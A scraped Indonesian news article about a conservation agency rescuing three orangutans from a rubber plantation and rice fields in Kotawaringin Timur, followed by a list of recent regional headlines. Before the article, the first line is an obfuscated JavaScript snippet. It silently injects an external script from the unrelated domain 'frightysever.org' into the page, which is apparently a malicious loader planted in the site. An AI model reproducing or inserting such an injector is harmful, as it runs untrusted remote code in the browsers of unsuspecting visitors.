(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Tengah

BKSDA Kalteng Selamatkan Tiga Orang Utan Masuk Kampung


KANALKALIMANTAN.COM, SAMPIT – Balai Konservasi Sumber Daya Alam (BKSDA) Kalimantan Tengah menyelamatkan tiga ekor orang utan (Pongo Pygmaeus) di Kabupaten Kotawaringin Timur (Kotim) dalam satu hari pada Minggu (31/1) lalu.

“Total ada tiga ekor. Dua ekor yaitu induk dan anak di Jalan Jenderal Sudirman dan satu ekor orang utan dewasa di Desa Lampuyang, Kecamatan Teluk Sampit,” kata Komandan Jaga BKSDA Kalimantan Tengah Pos Sampit, Muriansyah di Sampit, Selasa (2/2/2021).

Penyelamatan satwa dilindungi itu, kata dia, dibantu oleh Orang utan Foundation Internasional (OFI) yang datang ke Kotawaringin Timur bersama tim BKSDA Kalimantan Tengah dari Seksi Konservasi Wilayah II Pangkalan Bun.

Keberadaan orang utan di kebun karet warga di Jalan Jenderal Sudirman kilometer 11 itu dilaporkan warga sejak sepekan lalu. Warga menyebutkan ada tiga ekor orang utan yang terlihat, yakni indukan jantan dan betina, serta seekor anak orang utan.

 

Muriansyah menjelaskan sekitar satu pekan tim BKSDA melakukan pemantauan dan terakhir yang terlihat adalah hanya induk betina dan anaknya. Penyelamatan pun dilakukan terhadap dua ekor orang utan tersebut.

Induk orang utan ditangkap dengan cara dibius, sedangkan anaknya digendong. Induk betina itu diperkirakan berusia 20 tahun dengan berat 26 kilogram, sedangkan anak orangutan berjenis kelamin jantan diperkirakan baru berusia 10 bulan dan berat tiga kilogram.

“Lokasi penyelamatan berupa kebun karet. Orangutan merusak dan memakan kulit pohon karet karena kesulitan mendapatkan makanan di habitat aslinya,” katanya sebagaimana dilansir Antara.

Sementara satu ekor orang utan lainnya yang diselamatkan adalah berjenis kelamin jantan berusia sekitar 25 tahun di persawahan Desa Lampuyang Kecamatan Teluk Sampit. Orang utan ini ditemukan dalam kondisi luka di kepala bagian kiri, diduga akibat senjata tajam.

Petugas mengobati luka di bagian kepala orangutan tersebut dengan menjahitnya sebanyak sembilan jahitan. Petugas juga meminta keterangan warga untuk menelusuri kemungkinan penganiayaan oleh warga terhadap orang utan tersebut.

“Ketiga orang utan itu sudah dibawa ke Pangkalan Bun untuk diobservasi dan disiapkan untuk dilepasliarkan. Kami mengucapkan terima kasih kami kepada warga km 11 Jalan Jenderal Sudirman, serta warga dan perangkat desa Lampuyang yang sudah membantu dan bekerja sama dengan BKSDA Kalteng dalam proses rescue (penyelamatan),” demikian Muriansyah. (suara.com)

Reporter: suara.com
Editor : kk


Al Ghifari

Recent Posts

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

57 menit ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

1 jam ago

Sekda Banjar Wakili Bupati di Rapat Paripurna Bahas Raperda Tentang Penanaman Modal

KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More

3 jam ago

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

4 jam ago

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

5 jam ago

Pj Bupati Kapuas Halalbihalal Bersama Ibu-ibu Pengajian

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More

5 jam ago

This website uses cookies.